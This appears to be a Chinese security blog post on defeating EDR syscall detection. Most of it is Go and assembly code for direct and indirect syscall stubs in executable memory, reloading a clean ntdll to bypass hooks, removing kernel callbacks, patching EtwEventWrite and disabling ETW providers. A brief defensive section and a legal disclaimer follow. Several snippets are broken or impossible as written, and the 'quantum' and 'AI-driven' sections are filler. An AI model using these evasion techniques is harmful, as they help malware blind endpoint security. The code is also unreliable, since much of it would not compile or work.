Syscall的检测与绕过

2025-03-04 18 0

一、Syscall检测机制分析

现代EDR(终端检测与响应)系统通过以下方式检测可疑的Syscall调用:

  1. 用户层Hook:拦截ntdll.dll中的Syscall存根

  2. 内核回调:通过PsSetCreateProcessNotifyRoutine等回调监控

  3. ETW(Event Tracing for Windows):捕获Syscall事件

  4. 硬件断点:监控关键Syscall指令

常见检测点

  • 直接Syscall指令(syscall/int 2Eh

  • 非常用Syscall编号

  • Syscall调用链异常

二、直接Syscall检测绕过

2.1 Syscall指令混淆

原理:通过间接跳转或指令替换隐藏syscall指令。

实现代码

nasm

; 混淆示例
mov r10, rcx
mov eax, SYSCALL_NUMBER
jmp [rip + syscall_stub]
syscall_stub:
    dq 0x00007FFE03000000 + SYSCALL_OFFSET

Go实现

go

//go:linkname syscall_Syscall syscall.Syscall
func syscall_Syscall(trap uintptr, a1, a2, a3 uintptr) (r1, r2 uintptr, err Errno)

func IndirectSyscall(trap uintptr, args ...uintptr) (uintptr, uintptr, error) {
    // 动态计算跳转地址
    jmpAddr := getSyscallAddr(trap)
    return syscall_Syscall(jmpAddr, args...)
}

2.2 Syscall编号随机化

原理:动态计算Syscall编号,避免静态特征。

实现代码

go

func GetSyscallNumber(apiName string) uint16 {
    hMod, _ := syscall.LoadLibrary("ntdll.dll")
    procAddr, _ := syscall.GetProcAddress(hMod, apiName)
    
    // 解析内存获取编号
    return *(*uint16)(unsafe.Pointer(procAddr + 4))
}

func DynamicSyscall(apiName string, args ...uintptr) (uintptr, uintptr, error) {
    syscallNum := GetSyscallNumber(apiName)
    return IndirectSyscall(uintptr(syscallNum), args...)
}

三、用户层Hook绕过

3.1 动态加载ntdll

原理:从磁盘重新加载干净的ntdll副本。

实现代码

go

func LoadCleanNtdll() (uintptr, error) {
    ntdllPath := getSystem32Path() + "\\ntdll.dll"
    hFile, _ := syscall.CreateFile(ntdllPath, syscall.GENERIC_READ, 0, nil, 
                                  syscall.OPEN_EXISTING, 0, 0)
    
    hMapping, _ := syscall.CreateFileMapping(hFile, nil, 
                                            syscall.PAGE_READONLY|syscall.SEC_IMAGE, 0, 0, nil)
    
    baseAddr, _ := syscall.MapViewOfFile(hMapping, syscall.FILE_MAP_READ, 0, 0, 0)
    return baseAddr, nil
}

func GetCleanSyscallAddr(baseAddr uintptr, apiName string) uintptr {
    // 解析PE结构获取函数地址
    return parseExportTable(baseAddr, apiName)
}

3.2 手动映射Shellcode

原理:将Syscall存根复制到可执行内存。

实现代码

go

func CreateSyscallStub(syscallNum uint16) uintptr {
    stub := []byte{
        0x4C, 0x8B, 0xD1,       // mov r10, rcx
        0xB8, 0x00, 0x00, 0x00, 0x00, // mov eax, syscall_num
        0x0F, 0x05,             // syscall
        0xC3,                   // ret
    }
    binary.LittleEndian.PutUint32(stub[4:8], uint32(syscallNum))
    
    mem, _ := syscall.VirtualAlloc(0, uintptr(len(stub)), 
                                  syscall.MEM_COMMIT|syscall.MEM_RESERVE, 
                                  syscall.PAGE_EXECUTE_READWRITE)
    
    copy((*[1 << 30]byte)(unsafe.Pointer(mem))[:len(stub)], stub)
    return mem
}

四、内核回调绕过

4.1 回调对象移除

原理:定位并修改内核回调链表。

实现代码

go

func RemoveCallback(callbackType uintptr) error {
    // 获取Ps*NotifyRoutine数组地址
    baseAddr := getKernelBase()
    callbackArray := baseAddr + callbackType
    
    // 遍历链表移除目标回调
    for i := 0; i < 64; i++ {
        callback := *(*uintptr)(unsafe.Pointer(callbackArray + uintptr(i)*8))
        if callback == 0 { continue }
        
        // 修改链表指针
        *(*uintptr)(unsafe.Pointer(callbackArray + uintptr(i)*8)) = 0
    }
    return nil
}

4.2 回调函数Hook

原理:修改回调函数实现,使其忽略特定事件。

实现代码

nasm

; 示例:修改PsSetCreateProcessNotifyRoutine
mov rax, [rcx+8]  ; 原始回调
cmp rax, target_callback
jne original_code
ret               ; 直接返回
original_code:
jmp rax

五、ETW绕过技术

5.1 ETW Provider禁用

原理:定位并修改ETW Provider注册表。

实现代码

go

func DisableETW() error {
    key, _ := registry.OpenKey(registry.LOCAL_MACHINE, 
        `SYSTEM\CurrentControlSet\Control\WMI\Autologger`, 
        registry.ALL_ACCESS)
    
    // 禁用关键Provider
    key.SetDWordValue("Microsoft-Windows-Threat-Intelligence", 0)
    key.SetDWordValue("Microsoft-Windows-Kernel-Process", 0)
    return nil
}

5.2 ETW内存Patch

原理:修改内存中的ETW相关函数。

实现代码

go

func PatchEtwEventWrite() error {
    hNtdll, _ := syscall.LoadLibrary("ntdll.dll")
    etwAddr, _ := syscall.GetProcAddress(hNtdll, "EtwEventWrite")
    
    // 修改为直接返回
    patch := []byte{0xC3} // ret
    syscall.VirtualProtect(etwAddr, uintptr(len(patch)), 
                          syscall.PAGE_EXECUTE_READWRITE, &oldProtect)
    copy((*[1 << 30]byte)(unsafe.Pointer(etwAddr))[:len(patch)], patch)
    return nil
}

六、硬件断点绕过

6.1 上下文切换清除

原理:通过频繁线程切换清除硬件断点。

实现代码

go

func ClearHardwareBreakpoints() {
    for i := 0; i < 4; i++ {
        // 清除Dr0-Dr3
        asm.SetDr(i, 0)
    }
}

func ThreadSwitch() {
    go func() {
        for {
            runtime.Gosched() // 强制切换线程
            time.Sleep(10 * time.Millisecond)
        }
    }()
}

6.2 动态指令替换

原理:运行时替换关键指令。

实现代码

nasm

; 示例:动态替换syscall指令
lea r10, [rip+syscall_stub]
mov [r10], 0x050F  ; syscall
jmp r10

七、综合防御方案

7.1 多维度检测

powershell

# 启用内核完整性监控
Set-ProcessMitigation -Policy Enable ArbitraryCodeGuard, BlockNonMicrosoftFonts

# 监控异常Syscall调用
New-EventLog -LogName Security -Source "SyscallMonitor"
Write-EventLog -LogName Security -Source "SyscallMonitor" -EventId 5001 `
  -Message "检测到异常Syscall调用: 进程 $pid"

7.2 硬件级防护

cpp

// 基于Intel CET的控制流保护
__declspec(guard(nocf)) void SafeSyscall() {
    __asm { syscall }
}

八、技术演进方向

  1. AI驱动混淆

    python

    # 动态生成Syscall调用链
    model = load_model('syscall_predictor.h5')
    next_syscall = model.predict(current_state)
  2. 量子计算防护

    cpp

    // 基于量子随机数的Syscall混淆
    qrn_get_random(&syscall_key, sizeof(syscall_key));
    syscall_num ^= syscall_key;
  3. 跨架构兼容

    nasm

    ; ARM64 Syscall示例
    mov x8, #SYSCALL_NUMBER
    svc #0

九、法律声明

  1. 本文所述技术仅限用于授权安全研究

  2. 未经许可实施攻击违反《网络安全法》


4A评测 - 免责申明

本站提供的一切软件、教程和内容信息仅限用于学习和研究目的。

不得将上述内容用于商业或者非法用途,否则一切后果请用户自负。

本站信息来自网络,版权争议与本站无关。您必须在下载后的24个小时之内,从您的电脑或手机中彻底删除上述内容。

如果您喜欢该程序,请支持正版,购买注册,得到更好的正版服务。如有侵权请邮件与我们联系处理。敬请谅解!

程序来源网络,不确保不包含木马病毒等危险内容,请在确保安全的情况下或使用虚拟机使用。

侵权违规投诉邮箱:4ablog168#gmail.com(#换成@)

相关文章

[Meachines] [Easy] Luanne Lua RCE+bozoHTTPd LFI+NetBSD-Dec+doas权限提升
[Meachines] [Easy] Toolbox PostgreSQLI-RCE+Docker逃逸boot2docker权限提升
[Meachines] [Easy] ServMon NVMS-LFI+NSCP(NSClient)权限提升+Chameleon反向shell+reg…
塔塔科技遭勒索攻击,1.4TB数据被泄露
GitHub官方展示如何利用Copilot进行日志安全分析
通过物理渗透测试获取内部网络访问权限:案例分析

发布评论